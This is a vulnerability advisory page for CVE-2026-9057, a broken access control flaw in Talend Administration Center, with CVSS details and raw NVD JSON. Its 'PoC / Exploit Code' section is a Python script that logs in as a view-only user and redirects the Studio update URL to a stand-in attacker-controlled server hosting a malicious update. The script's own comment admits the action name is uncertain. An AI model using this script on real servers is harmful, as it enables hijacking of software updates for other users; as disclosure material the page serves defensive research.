Security Vulnerability Report
中文
CVE-2026-9057 CVSS 8.2 HIGH

CVE-2026-9057

Published: 2026-05-20 05:16:23
Last Modified: 2026-05-20 05:16:23
Source: 4ac701fe-44e9-4bcd-9585-dd6449257611

Description

A broken access control issue has been identified in the Talend Administration Center, that allows a user with “View” permission to modify the Talend Studio update URL. This issue was resolved in a patch, which is already available.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Talend Administration Center (修复补丁发布前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "http://target-talend-server:8080" login_url = f"{target_host}/j_security_check" config_url = f"{target_host}/org.talend.administrator/metaServlet" # Low-privileged user credentials (View permission only) username = "viewer_user" password = "viewer_password" # 1. Authenticate to the application session = requests.Session() payload = { "j_username": username, "j_password": password } print(f"[*] Attempting login as {username}...") response = session.post(login_url, data=payload) if response.status_code == 200 and "Login failed" not in response.text: print("[+] Login successful.") # 2. Exploit Broken Access Control to modify Update URL # The action 'updateConfiguration' might be restricted, but is vulnerable here. # We point the update URL to a malicious server. malicious_url = "http://attacker-controlled-server/malicious-update.zip" soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <talendJsonCmd> <actionName>updateConfiguration</actionName> <actionParams> <param name="update.site.url">{malicious_url}</param> <param name="author">{username}</param> </actionParams> </talendJsonCmd>""" headers = {"Content-Type": "application/xml"} print(f"[*] Sending payload to change update URL to: {malicious_url}") exploit_response = session.post(config_url, data=soap_body, headers=headers) if exploit_response.status_code == 200: print("[+] Exploit executed successfully. Check configuration if update URL changed.") else: print("[-] Exploit failed or endpoint returned error.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9057", "sourceIdentifier": "4ac701fe-44e9-4bcd-9585-dd6449257611", "published": "2026-05-20T05:16:23.467", "lastModified": "2026-05-20T05:16:23.467", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A broken access control issue has been identified in the Talend Administration Center, that allows a user with “View” permission to modify the Talend Studio update URL. This issue was resolved in a patch, which is already available."}], "metrics": {"cvssMetricV31": [{"source": "4ac701fe-44e9-4bcd-9585-dd6449257611", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "references": [{"url": "https://community.qlik.com/t5/Official-Support-Articles/Security-fix-for-Qlik-Talend-Administration-Center-URL-access/ta-p/2548524", "source": "4ac701fe-44e9-4bcd-9585-dd6449257611"}]}}